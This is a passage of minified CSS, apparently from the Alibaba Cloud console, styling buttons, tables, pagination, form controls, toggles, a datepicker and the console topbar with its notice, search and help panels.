0.2s ease}.viewFramework-product-col-1 .viewFramework-product-navbar-bg,.viewFramework-product-col-1 .viewFramework-product-navbar{width:180px}.viewFramework-product-col-1 .viewFramework-product-body{left:180px}.viewFramework-product-col-1 .viewFramework-product-navbar-collapse{left:160px}.viewFramework-product-col-1 .viewFramework-product-navbar-collapse .product-navbar-collapse{right:-7px;left:auto}.viewFramework-product-col-1 .viewFramework-product-navbar-collapse .product-navbar-collapse>span{color:#546478}.viewFramework-product-col-1 .viewFramework-product-navbar-collapse .product-navbar-collapse-bg{right:0;left:auto;border-bottom:9px solid transparent;border-left:none;border-right:13px solid #f7f7f7;border-top:9px solid transparent}.viewFramework-product-col-1 .viewFramework-product-navbar-collapse .icon-collapse-left{display:inline}.viewFramework-product-col-1 .viewFramework-product-navbar-collapse .icon-collapse-right{display:none}.viewFramework-product-col-1 .viewFramework-product-navbar-collapse:hover .product-navbar-collapse{right:0;left:auto}.viewFramework-product-col-1 .viewFramework-product-navbar-collapse:hover .product-navbar-collapse-bg{border-bottom:8px solid transparent;border-left:none;border-right:20px solid #f7f7f7;border-top:8px solid transparent}.viewFramework-product-col-2 .viewFramework-product-navbar-bg,.viewFramework-product-col-2 .viewFramework-product-navbar{width:360px}.viewFramework-product-col-2 .viewFramework-product-body{left:360px}.viewFramework-animate{-webkit-animation-duration:0.1s;animation-duration:0.1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.viewFramework-fadeIn{-webkit-animation-name:viewFrameworkFadeIn;animation-name:viewFrameworkFadeIn}@-webkit-keyframes viewFrameworkFadeIn{0%{opacity:0}100%{opacity:1}}@keyframes viewFrameworkFadeIn{0%{opacity:0}100%{opacity:1}}.text-muted{color:#999 !important}.text-muted:hover{color:#999 !important}.text-info{color:#69C !important}.text-info:hover{color:#69C !important}.text-primary{color:#09C !important}.text-primary:hover{color:#09C !important}.text-success{color:#090 !important}.text-success:hover{color:#090 !important}.text-warning{color:#F90 !important}.text-warning:hover{color:#F90 !important}.text-danger{color:#F00 !important}.text-danger:hover{color:#F00 !important}.text-explode{color:#CCC !important;font-weight:normal !important;margin:0px 4px !important}span.label{font-weight:normal}.text-size-14{font-size:14px !important}.text-size-16{font-size:16px !important}.text-size-24{font-size:24px !important}.text-size-32{font-size:32px !important}.text-size-48{font-size:48px !important}.text-size-64{font-size:64px !important}.btn{font-size:12px;border-radius:0px;padding:8px 16px;height:32px;line-height:14px}.btn-default{color:#333;border:1px solid #ddd;background-color:#f7f7f7}.btn-default:active{-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.125);box-shadow:inset 0 1px 2px rgba(0,0,0,0.125)}.btn-default:focus{color:#333;border:1px solid #ddd;background-color:#f7f7f7;outline:none}.btn-default:hover{color:#333;border:1px solid #ddd;background-color:#fff}.btn-primary{color:#fff;border:1px solid #09c;background-color:#09c}.btn-primary:active{-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.125);box-shadow:inset 0 1px 2px rgba(0,0,0,0.125)}.btn-primary:focus{color:#fff;border:1px solid #09c;background-color:#09c;outline:none}.btn-primary:hover{color:#fff;border:1px solid #28b5d6;background-color:#28b5d6}.btn-success{color:#fff;border:1px solid #57a235;background-color:#4db118}.btn-success:active{-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.125);box-shadow:inset 0 1px 2px rgba(0,0,0,0.125)}.btn-success:focus{color:#fff;border:1px solid #57a235;background-color:#4db118;outline:none}.btn-success:hover{color:#fff;border:1px solid #57bc20;background-color:#57bc20}.btn-warning{color:#333;border:1px solid #ddd;background-color:#f7f7f7}.btn-warning:active{-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.125);box-shadow:inset 0 1px 2px rgba(0,0,0,0.125)}.btn-warning:focus{color:#333;border:1px solid #ddd;background-color:#f7f7f7;outline:none}.btn-warning:hover{color:#fff;border:1px solid #ffa200;background-color:#ffa200}.btn-danger{color:#333;color:#333;border:1px solid #ddd;background-color:#f7f7f7}.btn-danger:active{-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.125);box-shadow:inset 0 1px 2px rgba(0,0,0,0.125)}.btn-danger:focus{color:#333;border:1px solid #ddd;background-color:#f7f7f7;outline:none}.btn-danger:hover{color:#fff;border:1px solid #f25721;background-color:#f25721}.btn-link{color:#06C;text-shadow:none;border:none}.btn-link:hover{color:#039}.btn-lg{font-size:14px;padding:12px 20px;height:40px;line-height:16px}.btn-sm{font-size:12px;padding:4px 12px;height:24px;line-height:14px}.btn-xs{font-size:12px;padding:2px 8px;height:20px;line-height:14px}.btn.disabled,.btn[disabled]{text-shadow:none;filter:none;opacity:1;color:#bbb;border:1px solid #ddd;background-color:#f7f7f7}.btn.disabled:active,.btn[disabled]:active{-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.125);box-shadow:inset 0 1px 2px rgba(0,0,0,0.125)}.btn.disabled:focus,.btn[disabled]:focus{color:#bbb;border:1px solid #ddd;background-color:#f7f7f7;outline:none}.btn.disabled:hover,.btn[disabled]:hover{color:#bbb;border:1px solid #ddd;background-color:#f7f7f7}.btn.btn-link.disabled,.btn.btn-link[disabled]{border:none;background:transparent none}.btn.btn-primary.disabled,.btn.btn-primary[disabled]{color:#EEE;text-shadow:none;filter:none;opacity:1;color:#fff;border:1px solid #ccc;background-color:#ccc}.btn.btn-primary.disabled:active,.btn.btn-primary[disabled]:active{-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.125);box-shadow:inset 0 1px 2px rgba(0,0,0,0.125)}.btn.btn-primary.disabled:focus,.btn.btn-primary[disabled]:focus{color:#fff;border:1px solid #ccc;background-color:#ccc;outline:none}.btn.btn-primary.disabled:hover,.btn.btn-primary[disabled]:hover{color:#fff;border:1px solid #ccc;background-color:#ccc}.btn-default-active,.btn-default-active:hover,.btn-default-active:focus{border:1px solid #485260;background-color:#525d6d;background:-webkit-gradient(linear, 50% 0%, 50% 100%, color-stop(0%, #525d6d), color-stop(100%, #525d6d));background:-webkit-linear-gradient(top, #525d6d,#525d6d);background:-moz-linear-gradient(top, #525d6d,#525d6d);background:-o-linear-gradient(top, #525d6d,#525d6d);background:linear-gradient(top, #525d6d,#525d6d);color:#FFFFFF;box-shadow:inset 0px 1px 2px rgba(0,0,0,0.3)}.btn-toinstlist{border:1px solid #BBB;color:#666;text-shadow:none;vertical-align:middle;margin-top:7px}.btn-toinstlist .icon-toinstlist{width:12px;height:12px;display:-moz-inline-stack;display:inline-block;vertical-align:middle;*vertical-align:auto;zoom:1;*display:inline;background:url(images/toinstlist.png) center 1px no-repeat}.console-sub-title+.table{margin-top:0px}.table-header{border:1px solid #e1e6eb;width:100%;z-index:1;margin-bottom:-1px;padding:8px;line-height:32px;display:table}.table-header+.table{margin-top:0px}.table{background:#FFF;font-size:12px;border-top:1px solid #e1e6eb;margin-top:8px;border:1px solid #e1e6eb}.table thead tr th{padding:8px 8px;font-weight:normal;color:#999;border-bottom:1px solid #e1e6eb;background-color:#F5F6FA}.table thead tr th a.dropdown-toggle{color:#999}.table thead tr th .dropdown.open a{color:#333}.table tbody tr td{padding:12px 8px;border-top:0px;border-bottom:1px solid #e1e6eb;vertical-align:middle}.table tbody tr td p{margin-bottom:0px}.table tfoot tr td{padding:12px 8px;border-bottom:1px solid #e1e6eb;vertical-align:middle}.table .text-right .dropdown-menu{text-align:left;left:auto;right:0px}.table-hover tbody tr:hover td{background-color:#F9F9FA}.pagination{margin:0px;vertical-align:middle;border-radius:0px}.pagination li a,.pagination li span{height:32px;line-height:20px;color:#333;cursor:pointer;border-color:#CCC}.pagination li a:hover{color:#FFF;background-color:#28B5D6;border-color:#28B5D6}.pagination li span{color:#999}.pagination li span:hover{background:none}.pagination li:first-child>a,.pagination li:first-child>span{border-radius:0px}.pagination li:last-child>a,.pagination li:last-child>span{border-radius:0px}.pagination li.active a,.pagination li.active span{background-color:#09C;border:1px solid #09C}.pagination li.active a:hover,.pagination li.active span:hover{background-color:#09C;border:1px solid #09C}.pagination-info{display:-moz-inline-stack;display:inline-block;vertical-align:middle;*vertical-align:auto;zoom:1;*display:inline;padding:0px 16px;color:#888}.form-group{margin-top:8px;margin-bottom:16px}.help-block{margin:4px 0px}.form-control{height:32px;border-radius:0px;padding:6px;-webkit-transition:none;transition:none;font-size:12px}.form-control:focus{-webkit-box-shadow:none;box-shadow:none}.form-control[size],.form-control[cols],.form-control.autosize{width:auto}.form-control.inline{display:-moz-inline-stack;display:inline-block;vertical-align:middle;*vertical-align:auto;zoom:1;*display:inline}select{color:#555555;vertical-align:middle;background-color:#ffffff;background-image:none;border:1px solid #cccccc}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline{color:#090}.has-success .form-control,input.ng-valid.ng-dirty,textarea.ng-valid.ng-dirty{border-color:#090}.has-success .form-control:focus,input.ng-valid.ng-dirty:focus,textarea.ng-valid.ng-dirty:focus{border-color:#2A0;-webkit-box-shadow:none;box-shadow:none}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline{color:#F90}.has-warning .form-control{border-color:#F90}.has-warning .form-control:focus{border-color:#FA0;-webkit-box-shadow:none;box-shadow:none}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline{color:#E40}.has-error .form-control,input.ng-invalid.ng-dirty,textarea.ng-invalid.ng-dirty{border-color:#E40}.has-error .form-control:focus,input.ng-invalid.ng-dirty:focus,textarea.ng-invalid.ng-dirty:focus{border-color:#F30;-webkit-box-shadow:none;box-shadow:none}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{color:#999}label.control-label{font-weight:normal;font-size:12px;color:#666}.form-inline .form-group{margin:4px 8px 4px 0px}.form-inline .form-control{width:auto}.form-inline .input-group-btn{width:auto}select.input-lg,.input-lg{height:40px}select.input-sm,.input-sm{height:24px}.console-onoff{vertical-align:middle;width:50px;height:20px;display:-moz-inline-stack;display:inline-block;vertical-align:middle;*vertical-align:auto;zoom:1;*display:inline;background-image:url(\"images/on-off.png\");background-image:-webkit-image-set(url(\"images/on-off.png\") 1x, url(\"images/on-off@2x.png\") 2x);background-image:-moz-image-set(url(\"images/onoff.png\") 1x, url(\"images/onoff@2x.png\") 2x);background-image:-o-image-set(url(\"images/onoff.png\") 1x, url(\"images/onoff@2x.png\") 2x);background-image:-ms-image-set(url(\"images/onoff.png\") 1x, url(\"images/onoff@2x.png\") 2x);background-repeat:no-repeat;background-position:0px 0px;cursor:pointer}.console-onoff .onoff-handle{display:block;width:50px;height:20px;-webkit-transition:background-position 0.2s ease;-moz-transition:background-position 0.2s ease;-o-transition:background-position 0.2s ease;transition:background-position 0.2s ease;background-image:url(\"images/on-off.png\");background-image:-webkit-image-set(url(\"images/on-off.png\") 1x, url(\"images/on-off@2x.png\") 2x);background-image:-moz-image-set(url(\"images/onoff.png\") 1x, url(\"images/onoff@2x.png\") 2x);background-image:-o-image-set(url(\"images/onoff.png\") 1x, url(\"images/onoff@2x.png\") 2x);background-image:-ms-image-set(url(\"images/onoff.png\") 1x, url(\"images/onoff@2x.png\") 2x);background-repeat:no-repeat;background-position:0px 0px}.console-onoff .onoff-loading{display:block;width:50px;height:20px;-webkit-transition:background-position 0.2s ease;-moz-transition:background-position 0.2s ease;-o-transition:background-position 0.2s ease;transition:background-position 0.2s ease;background-image:url(\"images/on-off-loading.gif\");background-image:-webkit-image-set(url(\"images/on-off-loading.gif\") 1x, url(\"images/on-off-loading@2x.gif\") 2x);background-image:-moz-image-set(url(\"images/on-off-loading.gif\") 1x, url(\"images/on-off-loading@2x.gif\") 2x);background-image:-o-image-set(url(\"images/on-off-loading.gif\") 1x, url(\"images/on-off-loading@2x.gif\") 2x);background-image:-ms-image-set(url(\"images/on-off-loading.gif\") 1x, url(\"images/on-off-loading@2x.gif\") 2x);background-repeat:no-repeat;background-position:0px 0px}.console-onoff-on{background-position:0px -40px}.console-onoff-on .onoff-handle{background-position:0px 0px}.console-onoff-on .onoff-loading{background-position:32px 4px}.console-onoff-off{background-position:0px -60px}.console-onoff-off .onoff-handle{background-position:-28px 0px}.console-onoff-off .onoff-loading{background-position:4px 4px}.console-onoff[disabled=\"disabled\"]{cursor:not-allowed;background-position:0px -80px}.console-onoff[disabled=\"disabled\"] .onoff-loading{display:none}.console-onoff-on[disabled=\"disabled\"] .onoff-handle{background-position:0px -20px}.console-onoff-off[disabled=\"disabled\"] .onoff-handle{background-position:-28px -20px}.console-number-spinner{display:-moz-inline-stack;display:inline-block;vertical-align:middle;*vertical-align:auto;zoom:1;*display:inline;vertical-align:middle}.console-number-spinner .form-control{width:auto;float:left;text-indent:-16px}.console-number-spinner .console-number-spinner-action{width:14px;height:30px;float:left;margin-left:-16px;border-left:1px solid #E3E3E3;margin-top:1px}.console-number-spinner .console-number-spinner-action button{width:14px;height:15px;overflow:hidden;line-height:16px;font-size:12px;border:0px;background-color:transparent;padding:0px;margin:0px;display:block;color:#999;text-align:center;outline:0px}.console-number-spinner .console-number-spinner-action button:hover{color:#06C}.console-number-spinner .console-number-spinner-action button[disabled]{color:#999}.console-number-spinner .console-number-spinner-action .console-number-spinner-down{border-top:1px solid #E3E3E3}.console-timepicker{display:-moz-inline-stack;display:inline-block;vertical-align:middle;*vertical-align:auto;zoom:1;*display:inline;vertical-align:middle}.console-datepicker{padding:8px}.console-datepicker thead .h6 th{padding-top:8px}.console-datepicker tbody tr:first-child td{padding-top:8px}.console-datepicker tbody .btn{border:0px !important}.console-datepicker tbody .btn:hover{background:#F3F3F3}.console-datepicker tbody .btn-default{background:transparent}.console-datepicker tbody .active,.console-datepicker tbody .active:hover,.console-datepicker tbody .active span{background:#3C0;color:#FFF}.console-datepicker tbody .btn[disabled=\"disabled\"] .btn[disabled=\"disabled\"] span{color:#CCC}.console-datepicker em{font-size:12px;color:#ACD}.aliyun-console-topbar{position:relative;z-index:100;clear:both;height:50px;background:#09C;font-size:12px;min-width:990px}.aliyun-console-topbar a{text-decoration:none}.aliyun-console-topbar a:focus{outline:none}.aliyun-console-topbar .accessibility-ast{position:absolute;top:-10000px;left:-10000px;width:100px}.aliyun-console-topbar .accessibility-ast:focus{position:absolute;top:0;left:310px}.aliyun-console-topbar .icon-arrow-down{display:inline-block;width:18px;text-align:center;vertical-align:middle;transition:transform 0.2s, vertical-align 0.2s;-o-transition:transform 0.2s, vertical-align 0.2s;-ms-transition:transform 0.2s, vertical-align 0.2s;-moz-transition:transform 0.2s, vertical-align 0.2s;-webkit-transition:transform 0.2s, vertical-align 0.2s}.aliyun-console-topbar .dropdown .dropdown-menu{z-index:1;font-size:12px;border-radius:0;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.1);-moz-box-shadow:0 1px 3px rgba(0,0,0,0.1);box-shadow:0 1px 3px rgba(0,0,0,0.1)}.aliyun-console-topbar .dropdown .dropdown-menu a{padding:0}.aliyun-console-topbar .dropdown.open .icon-arrow-down{vertical-align:text-top;transform:rotate(180deg);-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-ms-transform:rotate(180deg);-o-transform:rotate(180deg)}.aliyun-console-topbar .topbar-wrap,.aliyun-console-topbar .topbar-logo,.aliyun-console-topbar .topbar-home,.aliyun-console-topbar .topbar-home-link,.aliyun-console-topbar .topbar-nav,.aliyun-console-topbar .topbar-info{height:100%}.aliyun-console-topbar .topbar-left{float:left}.aliyun-console-topbar .topbar-right{float:right}.aliyun-console-topbar .topbar-clearfix:before,.aliyun-console-topbar .topbar-clearfix:after{display:table;content:\" \"}.aliyun-console-topbar .topbar-clearfix:after{clear:both}.aliyun-console-topbar .topbar-head{background:#008fbf;height:50px;position:relative;z-index:3}.aliyun-console-topbar .topbar-nav{position:relative;z-index:2;background:#09C}.aliyun-console-topbar .topbar-logo,.aliyun-console-topbar .topbar-home{display:block;width:50px;background:#0099cc;font-size:28px;color:#FFF;text-align:center;line-height:50px}.aliyun-console-topbar .topbar-logo span,.aliyun-console-topbar .topbar-home span{line-height:50px}.aliyun-console-topbar .topbar-logo{background:#0087b4}.aliyun-console-topbar .topbar-home{margin-right:1px;font-size:20px}.aliyun-console-topbar .topbar-home:hover{background:#008fbf}.aliyun-console-topbar .topbar-home-link{padding:0 20px;margin-right:1px;background:#09c}.aliyun-console-topbar .topbar-home{-o-transition:all 0.15s, 0.15s;-ms-transition:all 0.15s, 0.15s;-moz-transition:all 0.15s, 0.15s;-webkit-transition:all 0.15s, 0.15s}.aliyun-console-topbar .topbar-btn{color:#fff;font-size:14px;line-height:50px}.aliyun-console-topbar .topbar-btn:hover,.aliyun-console-topbar .topbar-btn.topbar-btn-dark{background:#008fbf}.aliyun-console-topbar .topbar-nav.open .topbar-nav-btn{background:#fff;color:#333}.aliyun-console-topbar .topbar-nav-btn{padding:0 20px;display:inline-block;height:50px}.aliyun-console-topbar .topbar-nav-list{border:none;padding:10px;margin-top:0;white-space:nowrap}.aliyun-console-topbar .topbar-nav-list .topbar-nav-col{display:inline-block;vertical-align:top;padding:0 10px}.aliyun-console-topbar .topbar-nav-list .topbar-nav-item .topbar-nav-item-title{margin:3px 0px;color:#999;font-weight:600}.aliyun-console-topbar .topbar-nav-list .topbar-nav-item .topbar-nav-gap{border-top:1px solid #f2f2f2;width:100%;margin:6px 0 10px}.aliyun-console-topbar .topbar-nav-list .topbar-nav-item ul{padding:0;margin:8px 0 0 0;list-style:none}.aliyun-console-topbar .topbar-nav-list .topbar-nav-item ul li{min-width:160px;height:28px;line-height:28px;margin-bottom:2px}.aliyun-console-topbar .topbar-nav-list .topbar-nav-item ul li a{display:block;height:100%;padding:0 10px;text-decoration:none;color:#333}.aliyun-console-topbar .topbar-nav-list .topbar-nav-item ul li a:hover{background-color:#f2f2f2}.aliyun-console-topbar .topbar-nav-list .topbar-nav-item ul li a .topbar-nav-item-icon{padding-right:2px;font-size:16px;vertical-align:text-bottom;display:inline-block}.aliyun-console-topbar .topbar-nav-list .topbar-nav-item ul li.topbar-unservice a{color:#999}.aliyun-console-topbar .topbar-nav-list .topbar-nav-item ul li.topbar-unservice a .topbar-nav-item-icon{color:#999}.aliyun-console-topbar .topbar-info{background:#008fbf;position:absolute;z-index:1;top:0;right:0}.aliyun-console-topbar .topbar-info .topbar-btn{padding:0 10px;height:50px;display:block;z-index:2;background:#09c}.aliyun-console-topbar .topbar-info .topbar-btn:hover,.aliyun-console-topbar .topbar-info .topbar-btn.topbar-btn-dark{background:#008fbf}.aliyun-console-topbar .topbar-info .topbar-btn.open{position:relative}.aliyun-console-topbar .topbar-info .topbar-btn-search{padding:0;margin-left:1px}.aliyun-console-topbar .topbar-info .topbar-info-gap{color:#fff}.aliyun-console-topbar .topbar-info .dropdown .dropdown-menu{width:100%;min-width:0;margin:0;border:none}.aliyun-console-topbar .topbar-info .dropdown.open .topbar-btn{color:#333;background:#fff;border-bottom:1px solid #eaedf1;position:relative}.aliyun-console-topbar .topbar-info .topbar-info-btn{height:40px;border-bottom:1px solid #eaedf1}.aliyun-console-topbar .topbar-info .topbar-info-btn a{line-height:39px;padding-left:10px}.aliyun-console-topbar .topbar-info .topbar-user-large .dropdown-menu{width:310px;left:auto;right:0}.aliyun-console-topbar .topbar-info .topbar-user-large .dropdown-menu .user-identity{height:80px;padding:8px 16px;position:relative}.aliyun-console-topbar .topbar-info .topbar-user-large .dropdown-menu .user-identity .user-identity-item{height:32px;line-height:32px;display:block}.aliyun-console-topbar .topbar-info .topbar-user-large .dropdown-menu .user-identity .user-identity-colon{padding:0 5px}.aliyun-console-topbar .topbar-info .topbar-user-large .dropdown-menu .user-identity-sign{padding:2px 6px;background:#7ecef4;color:#fff;border-radius:1px}.aliyun-console-topbar .topbar-info .topbar-user-large .dropdown-menu .user-identity-sign-wrap{position:absolute;top:14px;right:30px}.aliyun-console-topbar .topbar-info .topbar-user-large .dropdown-menu .user-btn-link{display:inline-block;color:#06C}.aliyun-console-topbar .topbar-info .topbar-user-large .dropdown-menu .user-btn-link:hover{background:none;text-decoration:underline}.aliyun-console-topbar .topbar-info .topbar-user-large .dropdown-menu .user-btn-link.user-btn-link-signout{float:right;padding:0 16px}.aliyun-console-topbar .topbar-info-item{display:inline-block;margin-left:1px}.aliyun-console-topbar .topbar-notice{position:relative;font-size:12px;margin-left:1px;padding:0 12px 0 8px !important}.aliyun-console-topbar .topbar-notice .topbar-notice-panel{display:none}.aliyun-console-topbar .topbar-notice.open .topbar-notice-panel{display:block}.aliyun-console-topbar .topbar-notice .topbar-notice-panel{position:absolute;top:48px;left:-185px;width:440px;border-radius:2px;z-index:15;-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.175);-moz-box-shadow:0 1px 2px rgba(0,0,0,0.175);box-shadow:0 1px 2px rgba(0,0,0,0.175)}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-arrow{background:url(images/notice-arrow.png) 0 0 no-repeat;width:11px;height:6px;position:absolute;top:-6px;left:220px}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-head{height:50px;background-color:#eaedf1;padding:0 15px;line-height:50px;color:#333;font-size:14px}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-body{height:300px;overflow-y:auto;background:#fff;font-size:12px}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-body ul{list-style:none;margin:0;padding:0}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-body ul li{height:60px;line-height:20px;border-bottom:1px solid #eaedf1}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-body ul li a{display:block;height:100%;padding:10px 10px;background:#fff;color:#333}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-body ul li a .topbar-notice-link{display:block;max-width:300px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;color:#06c}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-body ul li a:hover{background:#f9f9f9}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-body ul li.topbar-notice-readed a{color:#666}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-body ul li.topbar-notice-readed a .topbar-notice-time{color:#999}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-body .topbar-notice-empty{text-align:center;color:#666;margin-top:80px}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-foot{height:50px;line-height:50px;background:#fff;text-align:center}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-class{padding:8px 0;float:right}.aliyun-console-topbar .topbar-notice .topbar-notice-panel .topbar-notice-class .topbar-notice-class-name{display:block;height:24px;line-height:24px;width:66px;background:#eaedf1;text-align:center;border-radius:3px}.aliyun-console-topbar .topbar-btn-notice{width:auto;display:block;height:50px}.aliyun-console-topbar .topbar-btn-notice .topbar-btn-notice-icon{font-size:24px;line-height:50px;vertical-align:text-bottom;color:#fff}.aliyun-console-topbar .topbar-btn-notice .topbar-btn-notice-num{font-size:12px;color:#fff;background:#ff9900;border-radius:5px;padding:2px 5px;display:inline-block;margin-top:15px;line-height:16px;vertical-align:top;text-align:center}.aliyun-console-topbar .topbar-btn-notice .topbar-btn-notice-num.topbar-btn-notice-num-zero{color:#00ace9;background-color:#0087b4}.aliyun-console-topbar .topbar-btn-notice .topbar-nav-item-short{padding-left:2px}.aliyun-console-topbar .topbar-qrcode{position:relative;margin-left:1px}.aliyun-console-topbar .topbar-qrcode:hover .topbar-qrcode-panel{display:block}.aliyun-console-topbar .topbar-qrcode .topbar-qrcode-panel{top:50px;left:0;position:absolute;width:130px;padding:12px 8px;background:#fff;border:1px solid #eaedf1;box-shadow:0 1px 3px rgba(0,0,0,0.1);display:none}.aliyun-console-topbar .topbar-qrcode .topbar-qrcode-image{width:100px;margin:0 auto}.aliyun-console-topbar .topbar-qrcode .topbar-qrcode-title{text-align:center;padding-top:10px}.aliyun-console-topbar .topbar-new-icon{position:relative;top:-4px;padding-left:2px}.aliyun-console-topbar-search{position:relative;z-index:1}.aliyun-console-topbar-search:hover{background:#008fbf}.aliyun-console-topbar-search:hover .topbar-search-ask{background:#008fbf}.aliyun-console-topbar-search .topbar-search-ask{width:200px;height:50px;border:0;background:#09c;line-height:26px;padding:12px 30px 12px 10px;display:block;color:#fff;-webkit-border-radius:1px 1px;-moz-border-radius:1px / 1px;border-radius:1px / 1px;-o-transition:all 0.15s, 0.15s;-ms-transition:all 0.15s, 0.15s;-moz-transition:all 0.15s, 0.15s;-webkit-transition:all 0.15s, 0.15s}.aliyun-console-topbar-search .topbar-search-ask:focus{outline:none}.aliyun-console-topbar-search .topbar-search-ask-shade{color:#00ace9}.aliyun-console-topbar-search .topbar-search-mark{font-size:16px;line-height:50px;position:absolute;height:50px;width:40px;color:#fff;text-decoration:none;display:block;text-align:center;top:0;right:0}.aliyun-console-topbar-search .topbar-search-mark .icon-search,.aliyun-console-topbar-search .topbar-search-mark .icon-enter{line-height:50px}.aliyun-console-topbar-search.topbar-search-active{background:#008fbf}.aliyun-console-topbar-search.topbar-search-active .topbar-search-ask{background:#008fbf}.aliyun-console-topbar-search.topbar-search-active .topbar-search-ask-shade{color:#fff}.aliyun-console-topbar-search-v1_3_21{position:relative}.aliyun-console-topbar-search-v1_3_21.topbar-search-dropdown-open .topbar-btn{background:#008fbf}.aliyun-console-topbar-search-v1_3_21 .icon-search{font-size:16px;padding-right:4px;position:relative;top:2px}.aliyun-console-topbar-search-v1_3_21 .topbar-search-dropdown{height:38px;position:absolute;bottom:-38px;right:-1px;border:2px solid #008fbf;background:#fff}.aliyun-console-topbar-search-v1_3_21 .topbar-search-dropdown input{display:block;height:34px;padding:4px 6px;margin-right:30px;width:250px;border-width:0;outline:0;line-height:34px;color:#546478;font-size:12px}.aliyun-console-topbar-search-v1_3_21 .topbar-search-dropdown .topbar-search-mark{position:absolute;right:0;top:0;height:34px;width:34px;display:block;line-height:34px;text-align:center;color:#546478}.aliyun-console-topbar-help{position:fixed;top:0;right:0;bottom:0}.aliyun-console-topbar-help .topbar-help-inner{width:486px;overflow:hidden;background:#fff;border-left:1px solid #e1e6eb;position:absolute;right:-486px;-webkit-box-shadow:0 0px 10px rgba(0,0,0,0.1);-moz-box-shadow:0 0px 10px rgba(0,0,0,0.1);box-shadow:0 0px 10px rgba(0,0,0,0.1);-o-transition:all 0.2s ease, 0.2s ease;-ms-transition:all 0.2s ease, 0.2s ease;-moz-transition:all 0.2s ease, 0.2s ease;-webkit-transition:all 0.2s ease, 0.2s ease;z-index:1;top:50px;bottom:0}.aliyun-console-topbar-help .topbar-help-inner.topbar-help-show{right:0px}.aliyun-console-topbar-help .topbar-help-head{height:68px;padding-left:20px;line-height:68px;border-bottom:1px solid #e1e6eb;position:relative;color:#333}.aliyun-console-topbar-help .topbar-help-body{position:absolute;top:68px;bottom:0;background:#fff}.aliyun-console-topbar-help .topbar-help-iframe{height:100%}.aliyun-console-topbar-help .topbar-help-close{font-size:18px;float:right;height:68px;width:68px;line-height:68px !important;text-align:center;color:#546478;cursor:pointer;user-select:none;-webkit-user-select:none;-moz-user-select:none}.aliyun-console-topbar-help .topbar-help-close:hover{color:#000}.console-topbar-new{position:relative;z-index:100;clear:both;height:40px;background:#34383c;font-size:12px;min-width:1000px}.console-topbar-new .console-topbar-btn{width:50px;height:40px;display:inline-block;vertical-align:middle;margin-right:1px;background-color:#2a2e31;text-decoration:none;text-align:center;color:#fff;line-height:40px;-o-transition:all 0.3s;-ms-transition:all 0.3s;-moz-transition:all 0.3s;-webkit-transition:all 0.3s}.console-topbar-new .console-topbar-btn .console-topbar-btn-text{font-size:14px;text-align:center;white-space:nowrap;display:none}.console-topbar-new .console-topbar-btn .console-topbar-btn-icon{font-size:22px;display:inline;line-height:40px;color:#fff}.console-topbar-new .console-topbar-btn .caret{-o-transition:-o-transform 0.3s;-ms-transition:-ms-transform 0.3s;-moz-transition:-moz-transform 0.3s;-webkit-transition:-webkit-transform 0.3s;transition:transform 0.3s}.console-topbar-new .console-topbar-btn:hover{width:auto}.console-topbar-new .console-topbar-btn:hover.console-topbar-btn-inverse,.console-topbar-new .console-topbar-btn:hover.console-topbar-btn-inverse-white{background-color:#585e65;color:#fff}.console-topbar-new .console-topbar-btn:hover .console-topbar-btn-text{display:inline}.console-topbar-new .console-topbar-btn:hover .console-topbar-btn-icon{display:none;vertical-align:text-bottom}.console-topbar-new .console-topbar-btn:hover.console-topbar-btn-home{width:106px}.console-topbar-new .console-topbar-btn:hover.console-topbar-btn-nav{width:120px}.console-topbar-new .console-topbar-btn:hover.console-topbar-btn-ak{width:104px}.console-topbar-new .console-topbar-btn:hover.console-topbar-btn-workorder{width:94px}.console-topbar-new .console-topbar-btn.console-topbar-btn-last{margin-right:0}.console-topbar-new .console-topbar-btn.console-topbar-logo-icon{-o-transition:none;-ms-transition:none;-moz-transition:none;-webkit-transition:none;color:#2a2e31}.console-topbar-new .console-topbar-btn.console-topbar-logo-icon img{width:22px;height:22px;display:block;margin:9px 14px}.console-topbar-new .console-topbar-btn.console-topbar-nav-link{font-size:12px;width:auto;padding:0 15px}.console-topbar-new .console-topbar-btn.console-topbar-nav-link .console-topbar-nav-link-icon{width:16px;height:19px;vertical-align:middle;position:relative;display:inline-block;margin-right:4px;overflow:hidden;font-size:16px}.console-topbar-new .console-topbar-btn.console-topbar-btn-user{width:auto}.console-topbar-new .console-topbar-btn.console-topbar-btn-user .console-topbar-btn-text{display:inline;padding:0 15px}.console-topbar-new .console-topbar-btn.console-topbar-btn-notice{width:auto;padding:0 10px}.console-topbar-new .console-topbar-btn.console-topbar-btn-notice 